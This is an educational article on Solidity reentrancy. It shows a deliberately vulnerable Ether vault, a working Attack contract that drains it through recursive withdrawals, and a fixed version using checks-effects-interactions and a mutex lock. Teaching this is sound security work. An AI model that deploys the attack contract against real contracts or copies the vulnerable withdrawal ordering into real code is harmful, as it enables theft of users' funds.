Contents

Solidity Smart Contract Security By Example #02: Reentrancy


Originally published in Valix Consulting’s medium.

Smart contract security is one of the biggest impediments toward the mass adoption of the blockchain. For this reason, we are proud to present this series of articles regarding Solidity smart contract security to educate and improve the knowledge in this domain to the public.

Reentrancy is one of the most famous attacks in the smart contract security field. The most famous example of reentrancy might be The DAO hack in 2016, causing the stealing of 3.6 million ETH. The incident resulted in the infamous hard fork of Ethereum to restore the seized assets.

In this article, you will learn how the reentrancy attack happens and how to prevent it. Enjoy reading. 😊

You can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/02_reentrancy.

Disclaimer:

The smart contracts in this article are used to demonstrate vulnerability issues only. Some contracts are vulnerable, some are simplified for minimal, some contain malicious code. Hence, do not use the source code in this article in your production.

Nonetheless, feel free to contact Valix Consulting for your smart contract consulting and auditing services. 🕵


Table of Contents


.    .    .

The Vulnerability


The below presents the InsecureEtherVault contract, a simple vault allowing users to deposit their Ethers, withdraw all their Ethers, and check their balances.

Of course, this contract is vulnerable to a reentrancy attack. But, can you discover the issue? 👀

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity 0.8.13;

contract InsecureEtherVault {
    mapping (address => uint256) private userBalances;

    function deposit() external payable {
        userBalances[msg.sender] += msg.value;
    }

    function withdrawAll() external {
        uint256 balance = getUserBalance(msg.sender);
        require(balance > 0, "Insufficient balance");

        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");

        userBalances[msg.sender] = 0;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return userBalances[_user];
    }
}
InsecureEtherVault.sol


A reentrancy is a programmatic approach in which an attacker performs recursive withdrawals to steal all Ethers locked in a contract.


In the case of InsecureEtherVault contract, the reentrancy begins in line 14 in the withdrawAll function. Figure 1 below illustrates how the reentrancy attack occurs.

Figure 1. How the reentrancy happens

Figure 1. How the reentrancy happens


As soon as the low-level function call is executed, a number of Ethers indicated by the balance variable would be sent to the user wallet or external contract (Step 4). If an attacker’s Attack contract is the recipient, the contract can do the reentrancy by recursively calling the withdrawAll function (Step 5) to drain out all Ethers locked in the InsecureEtherVault contract. 😿

The attack is effective here because the call function is executed before updating the withdrawer’s balance to 0 (i.e., userBalances[msg.sender] = 0). Consequently, the Attack contract can interrupt the control flow in the middle and execute the loop calls to the withdrawAll function. Since the withdrawAll function would still retain the balance before the update, the Attack contract can steal all Ethers. OMG! 🙀


.    .    .

The Attack


The Attack contract below can be used to exploit the InsecureEtherVault contract.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity 0.8.13;

interface IEtherVault {
    function deposit() external payable;
    function withdrawAll() external;
}

contract Attack {
    IEtherVault public immutable etherVault;

    constructor(IEtherVault _etherVault) {
        etherVault = _etherVault;
    }
    
    receive() external payable {
        if (address(etherVault).balance >= 1 ether) {
            etherVault.withdrawAll();
        }
    }

    function attack() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        etherVault.deposit{value: 1 ether}();
        etherVault.withdrawAll();
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
Attack.sol


To exploit the InsecureEtherVault, an attacker invokes Attack.attack() function and supplies 1 Ether to it. To understand how the Attack contract works in more detail, please refer to the attack steps described in Figure 1 above.

Figure 2. The attack result

Figure 2. The attack result


The result of the attack is shown in Figure 2. To steal all 5 Ethers locked in the InsecureEtherVault, the attacker deposited 1 Ether, withdrew their initial Ether, and performed five reentrants. 🤑


.    .    .

The Solutions


There are three preventive solutions to tackle the reentrancy attack. 👨‍🔧

  1. Applying the checks-effects-interactions pattern

  2. Applying the mutex lock

  3. Using both solutions #1 and #2


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity 0.8.13;

abstract contract ReentrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

contract FixedEtherVault is ReentrancyGuard {
    mapping (address => uint256) private userBalances;

    function deposit() external payable {
        userBalances[msg.sender] += msg.value;
    }

    function withdrawAll() external noReentrant {  // FIX: Apply mutex lock
        uint256 balance = getUserBalance(msg.sender);
        require(balance > 0, "Insufficient balance");  // Check

        // FIX: Apply checks-effects-interactions pattern
        userBalances[msg.sender] = 0;  // Effect

        (bool success, ) = msg.sender.call{value: balance}("");  // Interaction
        require(success, "Failed to send Ether");
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return userBalances[_user];
    }
}
FixedEtherVault.sol


The FixedEtherVault contract above is the fixed version of the InsecureEtherVault. We apply both solutions #1 (checks-effects-interactions pattern) and #2 (mutex lock) here.

For solution #1 (checks-effects-interactions pattern), the withdrawAll function was improved to follow the checks-effects-interactions pattern by relocating the so-called effect part (userBalances[msg.sender] = 0) to line 26 to execute it before the interaction part in line 28 (msg.sender.call{value: balance}("")). This coding pattern guarantees that the withdrawer’s balance would be updated before sending Ethers back to the withdrawer.

For solution #2 (mutex lock), we attached the noReentrant modifier to the withdrawAll function in line 21. The noReentrant (lines 6–11) is a simple lock that allows only a single entrance to the function applying it. If there is an attempt to do the reentrant, the transaction would be reverted by the require statement in line 7.


.    .    .

Summary


In this article, you have learned the reentrancy vulnerability in the smart contract, how an attacker exploits the vulnerable contract, and the preventive solutions to fix the issue. We hope you enjoy reading our article. See you in the next article.

Again, you can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/02_reentrancy.


.    .    .

Author Details


Phuwanai Thummavet (serial-coder), Lead Blockchain Security Auditor and Consultant | Blockchain Architect and Developer.

See the author’s profile.


.    .    .

About Valix Consulting



Valix Consulting is a blockchain and smart contract security firm offering a wide range of cybersecurity consulting services. Our specialists, combined with technical expertise with industry knowledge and support staff, strive to deliver consistently superior quality services.

For any business inquiries, please get in touch with us via Twitter, Facebook, or info@valix.io.


.    .    .

Originally published in Valix Consulting’s medium.